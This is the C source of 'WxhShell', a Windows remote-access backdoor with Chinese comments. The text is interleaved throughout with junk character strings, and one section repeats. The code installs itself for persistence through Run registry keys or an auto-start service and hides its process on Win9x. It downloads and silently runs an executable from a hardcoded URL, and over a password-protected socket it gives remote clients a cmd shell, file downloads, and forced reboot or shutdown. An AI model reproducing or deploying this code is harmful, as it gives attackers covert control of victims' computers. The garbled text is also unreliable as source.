zd } PROCESS_BASIC_INFORMATION; Fkvl%n 9v?N+Rb PROCNTQSIP NtQueryInformationProcess; LAVAFlK5 ;w:M`#2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sczc5FG static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :q=%1~Idla eK.e|z| HANDLE hProcess; zV:pQRbt. PROCESS_BASIC_INFORMATION pbi; r~N"ere26 -cZDGt HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :80Z6F.k` if(NULL == hInst ) return 0; OC1I&",Ai| }-ftyl7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KiI!frm1 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O?U'!o= NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XID<(HBA"! |3F02 if (!NtQueryInformationProcess) return 0; A6GE,FhsG cU ?0(z7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f:ZAG4B if(!hProcess) return 0; Wm_4avXtO x8Retuv if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i7ISX>% K3m]%m2\ CloseHandle(hProcess); vN|l\!~ |_o=^?z' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qP{/[uj[K if(hProcess==NULL) return 0; 7nHF@Y|*" .%.9n\b HMODULE hMod; ,stN char procName[255]; +6UVn\9Q unsigned long cbNeeded; At flf2 K S>.SSXlM if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q@
2i~Qo[ (Q%'N3gk CloseHandle(hProcess); ~\=1'D^6CK 7:9.&W/KE if(strstr(procName,"services")) return 1; // 以服务启动 L !=4N!j ,S'p%g return 0; // 注册表启动 XEn*?.e } _{R=B8Zz\ '&.# // 主模块 :>D[n1v int StartWxhshell(LPSTR lpCmdLine) #[zI5)Meh { t'BLVCu SOCKET wsl; (7XCA,KTGI BOOL val=TRUE; W5?yy>S6N int port=0; Vy*:ne struct sockaddr_in door; Xv<B1 6T+FH;h
if(wscfg.ws_autoins) Install(); NG 4AG\[f
8q port=atoi(lpCmdLine); 43={Xy T^T[$26 if(port<=0) port=wscfg.ws_port; r) $+ (4'$y`Z WSADATA data; P`#Z9 HM4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M&NB/ <@}I0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f8M$45A' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p!sWYui door.sin_family = AF_INET; `!Ds6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Np'2}6P door.sin_port = htons(port); *c%oN
| o&`<+4
i if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2WtRJi?b| closesocket(wsl); F#5B<I return 1; >Y_*%QGH_ } Jd5:{{Lb A,\6nO67 if(listen(wsl,2) == INVALID_SOCKET) { k$H%.l;E closesocket(wsl); )Psb>'X return 1; %^I88,$&L } ]l'Y'z,} Wxhshell(wsl); G
16!eDMt WSACleanup(); 6&bY} i^K /%0<p,T return 0; %Eb%V ($ i/~1F_ } S}$r>[t ms!r ef4`+ // 以NT服务方式启动 e*bH0'; q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (T!9SU { BNd^qB ? DWORD status = 0; \e!vj.PU DWORD specificError = 0xfffffff; fO0(Z OfctoPP _0 serviceStatus.dwServiceType = SERVICE_WIN32; usEwm,b) serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~_Lr=C D;4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R2(3>`FJ serviceStatus.dwWin32ExitCode = 0; Z^]|o<.<I serviceStatus.dwServiceSpecificExitCode = 0; DyeQJ7p serviceStatus.dwCheckPoint = 0; @J5Jpt*IE serviceStatus.dwWaitHint = 0; uq,
{tV x~GQV^(l3 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {"&SJt[%X if (hServiceStatusHandle==0) return; &VV~%jl;k L=q+|j1> status = GetLastError(); C?i >.t if (status!=NO_ERROR) v^ zu:Z* { oP!;\a( SL serviceStatus.dwCurrentState = SERVICE_STOPPED; 2RN)<\ P serviceStatus.dwCheckPoint = 0; &Y
4F!Rb serviceStatus.dwWaitHint = 0; ^5A
t?I8 serviceStatus.dwWin32ExitCode = status; 'ihhoW8 serviceStatus.dwServiceSpecificExitCode = specificError; Qu}W/j|3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Wm)rXW[x return; *+uHQgn( } c)A{p P>sFV serviceStatus.dwCurrentState = SERVICE_RUNNING; +T=(6dr serviceStatus.dwCheckPoint = 0; &g.@u~SI1 serviceStatus.dwWaitHint = 0; z]2]XTmWs if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i&vaeP25) } v.:3"<ur} uu}x@T@ // 处理NT服务事件,比如:启动、停止 '=1KVE^Fk VOID WINAPI NTServiceHandler(DWORD fdwControl) Q%wY { -
/(s#D switch(fdwControl) /v/C<] { H"C[&r case SERVICE_CONTROL_STOP: {}QB|IH` serviceStatus.dwWin32ExitCode = 0; `.T}=j| serviceStatus.dwCurrentState = SERVICE_STOPPED; 8me ]JRw serviceStatus.dwCheckPoint = 0; $&<uT serviceStatus.dwWaitHint = 0; j'aHF#_ { +V{7")px6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8E4mA5@ } `2`\]X_A{ return; E\IlF 6 case SERVICE_CONTROL_PAUSE: !'j?.F$} serviceStatus.dwCurrentState = SERVICE_PAUSED; K-f1{ 0 break; `;l?12|X case SERVICE_CONTROL_CONTINUE: WdZ:K, serviceStatus.dwCurrentState = SERVICE_RUNNING; m}8[#: break; >~`r:0', case SERVICE_CONTROL_INTERROGATE: {X*^s5{;H break; ;b`[&g }; K
=wBpLB SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^':!1 } )r[&RGz6 hSK;V<$[Z // 标准应用程序主函数 m8SA6Y\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RPIyO { PH*\AZJCl P%#*-zCCx // 获取操作系统版本 ]D@0| OsIsNt=GetOsVer(); 0b/ WpP GetModuleFileName(NULL,ExeFile,MAX_PATH); u$D*tqxG ;U<rc'qE // 从命令行安装 [tg^GOf ' if(strpbrk(lpCmdLine,"iI")) Install(); LY[~Os W kl"+YF5/ // 下载执行文件 Up:<=Kgci if(wscfg.ws_downexe) { ;L|uIg;.s if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) % ,N< WinExec(wscfg.ws_filenam,SW_HIDE); t=*@yQ
nB } =
pI?A^
.AYj'Y if(!OsIsNt) { OiAJ[L // 如果时win9x,隐藏进程并且设置为注册表启动 y!5$/`AF HideProc(); Qfky_5R\ StartWxhshell(lpCmdLine); e5.h ? } Yp0/Ab(v else FSRm| if(StartFromService()) (YY~{W$w( // 以服务方式启动 cgb2K$B_" StartServiceCtrlDispatcher(DispatchTable); xil[#W]7Ge else XxDaz1 // 普通方式启动 ;SwMu@tg StartWxhshell(lpCmdLine); 2 o#,kGd K_
lVISBQ return 0; A<\JQ } ,+g&o^T H"Klj_<dH0 bWZbG{Y. >|6iR%"f# =========================================== {V1Pp;A ork=`};
|7B!^
K
t8+_/BXv saU]`w_Z* QI]Ih " sz--27es SlSM+F #include <stdio.h> Fkf97Oi #include <string.h> k8,?hX: #include <windows.h> aF|d^ #include <winsock2.h> @$"L:1_ #include <winsvc.h> -dv%H{ #include <urlmon.h> J(#mtj>v_ _U{([M>; #pragma comment (lib, "Ws2_32.lib")
/%A;mlf{ #pragma comment (lib, "urlmon.lib")
@HBEt^! /%4_-C pm #define MAX_USER 100 // 最大客户端连接数 LkLN7| #define BUF_SOCK 200 // sock buffer SEl#FWR #define KEY_BUFF 255 // 输入 buffer !;6Jng% \([WH!7 #define REBOOT 0 // 重启 =SD\Q!fA #define SHUTDOWN 1 // 关机 CC;! <km Qp2I[Ioz3 #define DEF_PORT 5000 // 监听端口 $T<}y_nHl VR!-%H\AW #define REG_LEN 16 // 注册表键长度 ;WT{|z #define SVC_LEN 80 // NT服务名长度 ~|wos-nM Pv<FLo%u< // 从dll定义API V@d)?T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +Z!;P
Z6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *?yJkJ" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F8e<}v&7R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >QHo@Zqj( 8hA^`Y // wxhshell配置信息 w(1Gi$Z(Q) struct WSCFG { kl1Y] ?z} int ws_port; // 监听端口 BIf^~jAER% char ws_passstr[REG_LEN]; // 口令 _,6f#t int ws_autoins; // 安装标记, 1=yes 0=no m}$+Hdk+7 char ws_regname[REG_LEN]; // 注册表键名 IMQ]1uq0$ char ws_svcname[REG_LEN]; // 服务名 z"DkFvA char ws_svcdisp[SVC_LEN]; // 服务显示名 /,5Z-Z*wq char ws_svcdesc[SVC_LEN]; // 服务描述信息 }<MR`h1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9umGIQHnil int ws_downexe; // 下载执行标记, 1=yes 0=no rZ_>`}O2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gQ~5M'# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g8ES8SM
L;W.pe0 }; ql5x2n OMihXt[ // default Wxhshell configuration Uz%Z&K struct WSCFG wscfg={DEF_PORT, $R8w+ Id "xuhuanlingzhe", r^HAa GpC 1, [O-sVYB "Wxhshell", 5 waw`F "Wxhshell", ,]Zp+>{
"WxhShell Service", }8'&r(cN4 "Wrsky Windows CmdShell Service", Oajv^H,Em "Please Input Your Password: ", %Hi~aRz 1, |!d"*.Q@F "http://www.wrsky.com/wxhshell.exe", =A[5=
k> "Wxhshell.exe" tPHS98y }; 1'6cGpZY *! :QdWLq // 消息定义模块 -%IcYzyA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7Tf]:4Y" char *msg_ws_prompt="\n\r? for help\n\r#>"; q}L+/+b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m:`@?n~.. char *msg_ws_ext="\n\rExit."; =OTm2:j#yQ char *msg_ws_end="\n\rQuit."; i}TwOy<4s char *msg_ws_boot="\n\rReboot..."; TUp%FJXA| char *msg_ws_poff="\n\rShutdown..."; 3Rl,GWK char *msg_ws_down="\n\rSave to "; ned2lC&'d> 5 HV)[us char *msg_ws_err="\n\rErr!"; ,:v&4x&= char *msg_ws_ok="\n\rOK!"; OQlG+| KA]*ox6j; char ExeFile[MAX_PATH]; yno(' 1B@ int nUser = 0; E@QA". HANDLE handles[MAX_USER]; |bZM/U= int OsIsNt; m.%`4L^`T A q#/2t SERVICE_STATUS serviceStatus; 4cCF\&yU SERVICE_STATUS_HANDLE hServiceStatusHandle; O>DNC-m)i{ =~FG&rk^ // 函数声明 Mxz,wfaH> int Install(void); L x|',6S int Uninstall(void); d-!<C7O} int DownloadFile(char *sURL, SOCKET wsh); 8zQfY^/{M int Boot(int flag); !ZtSbOC ' void HideProc(void); V*jsq[q= int GetOsVer(void); h.tY 'F int Wxhshell(SOCKET wsl); Q]JX`HgPaU void TalkWithClient(void *cs); &hZwZgV+3 int CmdShell(SOCKET sock); B(HT.%r^A int StartFromService(void); <"&'>?8j int StartWxhshell(LPSTR lpCmdLine); t
Y1Et0 G`]w?Di4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aSaAC7sFk VOID WINAPI NTServiceHandler( DWORD fdwControl ); u@ N~1@RT| k1N$+h
;\ // 数据结构和表定义 :iY$82wQ SERVICE_TABLE_ENTRY DispatchTable[] = b^V'BC3 { PjqeE,5 {wscfg.ws_svcname, NTServiceMain}, XYbyOM VI {NULL, NULL} ?{J!#`tfV }; :.IN?X }VRvsZ // 自我安装 9zKBO* p` int Install(void) O+.*lo { QocQowz char svExeFile[MAX_PATH]; D$Kea
HKEY key; W3pQ? strcpy(svExeFile,ExeFile); #V 43= gT1P*N;v // 如果是win9x系统,修改注册表设为自启动 |'hLa if(!OsIsNt) { "G?9b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oh}^?p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -@bp4Z= RegCloseKey(key); a5wDm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M'jXve(=yF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q</h-skLZ RegCloseKey(key); $iMC/Kym return 0; ku.A|+Tn } ,ECAan/@ } .gD km^ } Enj_tJs else { .|]IwyD
& $B _Nc*_e // 如果是NT以上系统,安装为系统服务 SPwPCI1?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O*7i }\{ if (schSCManager!=0) 9D4-^M:a { !=zx SC_HANDLE schService = CreateService *6*-WV6 ( 79ZxqvB\ schSCManager, c4] u&tvjJ wscfg.ws_svcname, ;L6Xs_L~ wscfg.ws_svcdisp, L$JI43HZ SERVICE_ALL_ACCESS, .9 kyrlm SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h[U7!aM SERVICE_AUTO_START, j@P5(3r SERVICE_ERROR_NORMAL, nxRwWj57 svExeFile, G=$}5; t NULL, 3V-6)V{KaE NULL, c f*zejbw NULL, 9) ea.Gu NULL, <aVfJd/fT NULL k=uZ=tUft* ); sv=^k(d3 if (schService!=0) WN0c%kz= { +i)AS0?d CloseServiceHandle(schService); $%He$t CloseServiceHandle(schSCManager); YBylyVZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &va*IR strcat(svExeFile,wscfg.ws_svcname); YX;nMyD?~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FzhT$7Gw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iG-N RegCloseKey(key); BED@?:U# h return 0; ?aJ6ug } xwLy|& } bF6gBM@* CloseServiceHandle(schSCManager); S:Xs'0K_ } (Jpm
K O } lPS*-p#IZ &7][@v return 1; /co%:}ln } j`9Nwa BTs0o&}e // 自我卸载 "_)|8|gN int Uninstall(void) #JS`e_3Rr {
SsRVd^=;x HKEY key; JN^bo(kb k /^g* if(!OsIsNt) { _80ns&q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vf_OQ4'G, RegDeleteValue(key,wscfg.ws_regname); t?.\|2 RegCloseKey(key); u\5g3BH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d$Em\*C RegDeleteValue(key,wscfg.ws_regname); {G.jB/ RegCloseKey(key); Q?]w{f( return 0; 4?]ZV_BD } 1PIzV:L\ } >)sqh ~P } |8'B/
p= else { s!`H T9y768% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uN(b.5y if (schSCManager!=0) @ RX`> r{_ { |D(&w+( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Y"8~ if (schService!=0) ^Y<M~K972 { ?%;B`2 nDR if(DeleteService(schService)!=0) { L5C2ng> CloseServiceHandle(schService); w .l|G,%= CloseServiceHandle(schSCManager); o'^phlX return 0; Z"N(=B } kxy]vH6m CloseServiceHandle(schService); id4]|jb } qm}\?_ CloseServiceHandle(schSCManager); 5%'S } V^vLN[8_\ } g
z`*|h z+Z%H#9e return 1; qAORWc }
,5kvn xv&S[=Dt // 从指定url下载文件 oB}K[3uB:t int DownloadFile(char *sURL, SOCKET wsh) %t{Sb4XZ4k {
^\{J5 HRESULT hr; D{W
SKn char seps[]= "/"; /Mx.:.A&$ char *token; kU(kU2u%9 char *file; #!1IP~ char myURL[MAX_PATH]; IadK@?X6j char myFILE[MAX_PATH]; ;YM]K R; ex=)H%_| strcpy(myURL,sURL); QA! #s\ token=strtok(myURL,seps); ~}9Bn)@ while(token!=NULL) c-`37. J { r8F{A6i N file=token; h-,?a_ token=strtok(NULL,seps); *@~`d*d } 0QMaM <H-tZDh5 GetCurrentDirectory(MAX_PATH,myFILE); _r[r8MB strcat(myFILE, "\\"); sU0Stg8&b strcat(myFILE, file); hw|t8 ShW send(wsh,myFILE,strlen(myFILE),0); IuDT=A send(wsh,"...",3,0); &p)@8HY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1oB$u!6P if(hr==S_OK) LVoyA/F return 0; qKA_A% else j7,13,t1- return 1; '#KA+?@ 7\f{'KL } gINwvzW{ "B~WcC // 系统电源模块 _Ws#UL+Nq int Boot(int flag) 4 *H(sq { tr5'dX4] HANDLE hToken; K:uQ#W.& TOKEN_PRIVILEGES tkp; U-1VnX9m %kJh6J if(OsIsNt) { nZ541o@t9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xl|ghjn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $\0TD7p tkp.PrivilegeCount = 1; OCwW@OC + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qT"drgpi3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R/Tj^lM if(flag==REBOOT) { cB_pyX9Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R
!Fx)xj return 0; Kyu@>9Ok } ,cPkx~w0 else { [6G=yp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {uEu>D$8 return 0; Lblet } +{S Maq } %l%=Dkss else { 6W]OpM if(flag==REBOOT) { `!<x"xKu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2.!1kije return 0; F9v)R#u~ } "OVi /:*B else { 0
-!?W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `S5>0r5[ return 0; g%+ql[(4 } ,eyp$^ 2 } 4P`PmQ=GQh 8I<_w4fC return 1; >).@Nb;e } $^]
9 VtD@&N // win9x进程隐藏模块 D7EXqo void HideProc(void) ~Ry
$>n*/ { o*?[_{xW }Q,(u HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rf)PAdj|~ if ( hKernel != NULL ) BN_!Y)Fl { 5z9JhU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5<!o{)I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t) ; FreeLibrary(hKernel); |GJBwrL^0 } 7zOhyl? h_AJI\{" return; #8S [z5 ` } A1mYkG)l f&=K]:WDe // 获取操作系统版本 @gs26jX~2} int GetOsVer(void) 37J\i ] { 0Ddn@!J* OSVERSIONINFO winfo; u4go*# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }~myf\$ GetVersionEx(&winfo); <ur KIu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T_3V/)%@ return 1; }P05eI else Fsnw3/Nr return 0; 3s3a> } 58M'r{8_ I[tAT[ < // 客户端句柄模块 >&*6Fqd int Wxhshell(SOCKET wsl) 0Ei\VVK> { LBW.*PHW SOCKET wsh; 1-4 struct sockaddr_in client; Q,OkO?uY DWORD myID; ztRWIkI
q rd|@*^k while(nUser<MAX_USER) bv .EM { ON:LPf>"- int nSize=sizeof(client); 8yY"x
[' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 71K\.[ =- if(wsh==INVALID_SOCKET) return 1; Na~g*)uT$ +J\L4ri k
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p*A^0DN'Fn if(handles[nUser]==0) e}{8a9J<%_ closesocket(wsh); .t"n]X i else >l7eoj nUser++; P&qy.0 } I@8+k&nXS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v]LFZI5 fs]#/* RR return 0; *uk\O] } 'e+-,CGdY\ dM);LT8@ // 关闭 socket 0S)"Q^6ny void CloseIt(SOCKET wsh) Hj}g1"RA { MsN2A6|33 closesocket(wsh); Z\ "Kd nUser--; 3MS3O.0]/ ExitThread(0); j<.
<S { } @t{{Q1 yVbg,q'?
// 客户端请求句柄 @ef//G+Z" void TalkWithClient(void *cs) |NphG| { ~EM#Hc, =Bcux8wA#6 SOCKET wsh=(SOCKET)cs; jldcvW char pwd[SVC_LEN]; yb@X*PW/z char cmd[KEY_BUFF]; SL?%/$2g=O char chr[1]; }'@tA")-) int i,j; *#X+Gngo I v 80,hW while (nUser < MAX_USER) { z|t.y.JX ;j[q?^ b if(wscfg.ws_passstr) { 7)ES!C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :X1`wBu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xEd#~`Jmr //ZeroMemory(pwd,KEY_BUFF); {[(W4NAlH i=0; \t&n
jMWpZ while(i<SVC_LEN) { 0lvb{Zd R 47I\{ // 设置超时 LH?gJ8` fd_set FdRead; oT9XJwqnv struct timeval TimeOut; C9"f6>i FD_ZERO(&FdRead); UgOGBj,&5W FD_SET(wsh,&FdRead); pn ~/!y TimeOut.tv_sec=8; HQ-N!pf9 TimeOut.tv_usec=0; B=o#LL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MSxU>FX0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xc3Ov9`8% %j
9vX$Hj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W#oEF/G pwd=chr[0]; ;DT"S{"7 if(chr[0]==0xd || chr[0]==0xa) { >o=axZNa pwd=0; (_s!,QUe break; D9@<#2- } ~@a) E+LsF i++; W2X+NacD } }[hDg6i Aw_R
$ // 如果是非法用户,关闭 socket AR[M8RA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iG;d0>Sp } 9I^H)~S S%a}ip& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9v5.4a} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x r+E <+mO$0h"r while(1) { 7@e[:>e U3VsMV*Y ZeroMemory(cmd,KEY_BUFF); N?`GZ+5 //4p1^% // 自动支持客户端 telnet标准 `"bRjC"f] j=0; B4M'Er{v while(j<KEY_BUFF) { DI"dY
ug# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4F 6ju6w cmd[j]=chr[0]; Ri%Of:zZ if(chr[0]==0xa || chr[0]==0xd) { "~i#9L/H cmd[j]=0; :#"OCXr break; U8.0 L } e-T9HM&%P j++; O7L6Htya } QKL]O* @Z1?t%1 // 下载文件 37<GG) if(strstr(cmd,"http://")) { O+3D
5* send(wsh,msg_ws_down,strlen(msg_ws_down),0); '
m#Ymp if(DownloadFile(cmd,wsh)) \[hrG?A send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;*85'WcS else }~0{1& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (HP={MrV } 36D,el In else { L52z m<VL19o>R switch(cmd[0]) { xX67bswG {3yws4 // 帮助 |Y,X=Ed case '?': { rO2PbF3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KTS7)2ci break; Ni;{\"Gt } n*]x02:LjZ // 安装 @rDv
(W case 'i': { kQ:>j.^e if(Install()) Q0oDl8~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y_ u7
0@` else J1wGK|F~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;kcFQed\w break; ?(XX } v+,
w{~7RH // 卸载 U1@P/ case 'r': { B\~3p4S if(Uninstall()) m:o$|7r send(wsh,msg_ws_err,strlen(msg_ws_err),0); vcUM]m8k else P|QnZ){ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SZ1pf#w! break; "q#g/T } l[OQo|_ // 显示 wxhshell 所在路径 iS^^Z ZyR case 'p': { Mdq'> <ajL char svExeFile[MAX_PATH]; P<w>1
= strcpy(svExeFile,"\n\r"); gj(l&F *@ strcat(svExeFile,ExeFile); t3kh]2t send(wsh,svExeFile,strlen(svExeFile),0); )fcpE,g' break; UmHb-uk ; } G;.u>92r| // 重启 oI"Fpo case 'b': { LHGK!zI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (]uoN4 if(Boot(REBOOT)) "gVH;<&] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4rCqN.J else { v6(l#,
closesocket(wsh); vnT
ExitThread(0); ~<Qxw>S# } -)c"cgx. break; 5|H(N}S_ } >WG91b<Xq // 关机 /VOST^z! case 'd': { 2H0q\zZ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;bu;t# if(Boot(SHUTDOWN)) ,}$x'8v send(wsh,msg_ws_err,strlen(msg_ws_err),0); - cC(d$y else { Y@xeyMzE closesocket(wsh); =cX"gI[ ExitThread(0); 3B]+]e~ } v}t:}M<; break; \% Ih 6 } GeR-k9 // 获取shell o".O#^3H% case 's': { IOsDVIXL\ CmdShell(wsh); )Syf5I closesocket(wsh); ;-w PXXR ExitThread(0); ]uXsl0'`V break; dQoMAsxzM } !c' ;L' // 退出 3^Q U4 case 'x': { [WSIC *|; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?v*7!2; CloseIt(wsh); i(#c
Yb break; Q/SC7R&"t } 4E94W,1%,Y // 离开 [Cr~gd+q case 'q': { 8-#2?= send(wsh,msg_ws_end,strlen(msg_ws_end),0); *y$r y] closesocket(wsh); E^ti!4{< WSACleanup(); \?IwR]@y exit(1); \Xp"I5 break; 8xz7S } +=xRr?F } 69w"$Vk } [wxI
X ;'+cT.cmH // 提示信息 L*Cf&c`8r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qf {B } Z-V%lRQ=b } LR.+CxQ u 9TlXn return; -C]a2 } ~#Mx&mZ U~c;W@T // shell模块句柄 M)RQIl5 int CmdShell(SOCKET sock) Q2PwO;E.`C { S}I=i>QB STARTUPINFO si; hS/'b$# ZeroMemory(&si,sizeof(si)); 1Ac1CsK* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g0$k_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f@g PROCESS_INFORMATION ProcessInfo; n#,l&Bx char cmdline[]="cmd"; CplRnKra CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i`spM<iR. return 0; SZ){1Hu } pZn%g]nRD CT`X~y10 // 自身启动模式 1#uw^{n int StartFromService(void) ^!tI+F{n{ { xz'd5 re% typedef struct <5^(l$IBj { !d)i6W? DWORD ExitStatus; ?5gpk1 DWORD PebBaseAddress; EF~PM DWORD AffinityMask; gWPa8q<b DWORD BasePriority; 2J;CiEB ULONG UniqueProcessId; +.uk#K0o ULONG InheritedFromUniqueProcessId; ' 1nU[,Wj } PROCESS_BASIC_INFORMATION; |Q;1;QXd T`;M!-)2 PROCNTQSIP NtQueryInformationProcess; V0(ABi:d 1\kehCt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u'."E7o# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GC3L2C0)k 8B9zo& HANDLE hProcess; 4Fq}*QJ- PROCESS_BASIC_INFORMATION pbi; 3I(M<sB}
O,v$'r W HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *5)!y
